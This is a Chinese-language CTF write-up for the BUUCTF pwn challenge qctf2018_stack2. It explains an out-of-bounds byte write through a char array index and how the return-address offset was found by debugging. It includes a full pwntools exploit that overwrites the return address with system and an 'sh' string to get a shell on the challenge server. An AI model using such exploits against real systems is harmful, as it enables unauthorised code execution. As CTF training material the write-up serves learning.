[BUUCTF-pwn]——qctf2018_stack2
这道题注意一点v3的类型就好, 其他应该木有什么可以说的吧, 它是char*类型., 也就是每个我们赋值的v7只有低位的一个字节可以写进去
漏洞就在这里, 可以利用这里, 以v3为基准修改任意地址的数据.
还有一点需要注意的是偏移, 我最一开始写的时候, 想当然写成了0x40+4
主要原因是因为画圈的位置改变了esp, 懒得看汇编往上面找了直接动态调试.
第一次执行该汇编的时候, eax就是我们开始输入的位置
然后直接定位到retn看栈顶
找下sh位置
exploit
from pwn import*
p=remote('node3.buuoj.cn',26346)
p.sendlineafter("How many numbers you have:\n","1")
p.sendlineafter("Give me your numbers\n","1")
p.recvuntil("5. exit\n")
offset=0x84
sys = 0x08048450
def write_addr(addr,num):
p.sendline("3")
p.sendlineafter("which number to change:\n",str(addr))
p.sendlineafter("new number:\n",str(num))
p.recvuntil("5. exit\n")
write_addr(offset,0X50)
write_addr(offset+1,0X84)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)
sh_addr = 0x08048987
offset+=8
write_addr(offset,0x87)
write_addr(offset+1,0X89)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)
p.sendline("5")
p.interactive()